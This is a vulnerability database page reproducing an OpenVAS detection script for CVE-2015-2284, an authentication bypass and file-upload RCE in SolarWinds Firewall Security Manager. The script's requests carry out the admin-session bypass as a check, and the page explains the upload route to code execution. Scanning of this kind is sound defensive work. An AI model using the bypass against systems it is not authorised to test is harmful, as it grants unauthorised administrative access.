Lucene search
+L

Solarwinds FSM RCE Vulnerability

🗓️ 30 Jun 2015 00:00:00Reported by Copyright (C) 2015 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 19 Views

Solarwinds FSM RCE Vulnerability. Remote code execution via authentication bypass and file upload

Related
Refs
Code
# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:solarwinds:firewall_security_manager";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106014");
  script_version("2025-09-05T15:40:40+0000");
  script_tag(name:"last_modification", value:"2025-09-05 15:40:40 +0000 (Fri, 05 Sep 2025)");
  script_tag(name:"creation_date", value:"2015-06-30 10:54:34 +0700 (Tue, 30 Jun 2015)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_cve_id("CVE-2015-2284");

  script_name("Solarwinds FSM RCE Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_solarwinds_fsm_detect.nasl");
  script_mandatory_keys("solarwinds_fsm/installed");

  script_tag(name:"summary", value:"Solarwinds Firewall Security Manager is prone to a remote code
  execution (RCE) vulnerability");

  script_tag(name:"vuldetect", value:"Send a special crafted HTTP GET request and check the response.");

  script_tag(name:"insight", value:"There are two vulnerabilities in Solarwinds FSM. The first one
is an authentication bypass via the Change Advisor interface due to a user-controlled session.putValue
API in userlogin.jsp, allowing the attacker to set the 'username' attribute before authentication. The
second problem is that the settings-new.jsp file will only check the 'username' attribute before
authorizing the 'uploadFile' action, which can be exploited and allows the attacker to upload a fake
xls host list file to the server, and results in arbitrary code execution under the context of SYSTEM.");

  script_tag(name:"impact", value:"An unauthenticated attacker can obtain upload a fake xls host file
to the server resulting in an arbitrary code execution under the context of SYSTEM.");

  script_tag(name:"affected", value:"Solarwinds FSM 6.6.5 and previous versions.");

  script_tag(name:"solution", value:"Apply the HotFix or upgrade to a later version.");

  script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-15-107/");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

url = dir + '/userlogin.jsp?username=admin';

req = http_get(item: url, port: port);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: FALSE);
useragent = http_get_user_agent();

# Authentication bypass
if (res =~ "HTTP/1\.. 200" && res =~ "Set-Cookie: JSESSIONID=" && res =~ "Authentication Not implemented yet") {
  sessionid = eregmatch(pattern: "JSESSIONID=([0-9a-zA-Z]+);", string: res);
  if (!sessionid[1])
    exit(0);

  url = dir + '/requesthome.jsp';
  req = 'GET ' + url + ' HTTP/1.1\r\n' +
        'Host: ' + http_host_name(port: port) + '\r\n' +
        'User-Agent: ' + useragent + '\r\n' +
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' +
        'Cookie: ' + sessionid[0] + '\r\n\r\n';
  res = http_keepalive_send_recv(port: port, data: req);

  if (res =~ "Logged in as: admin") {
    security_message(port: port);
    exit(0);
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Sep 2025 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 210
EPSS0.74054
19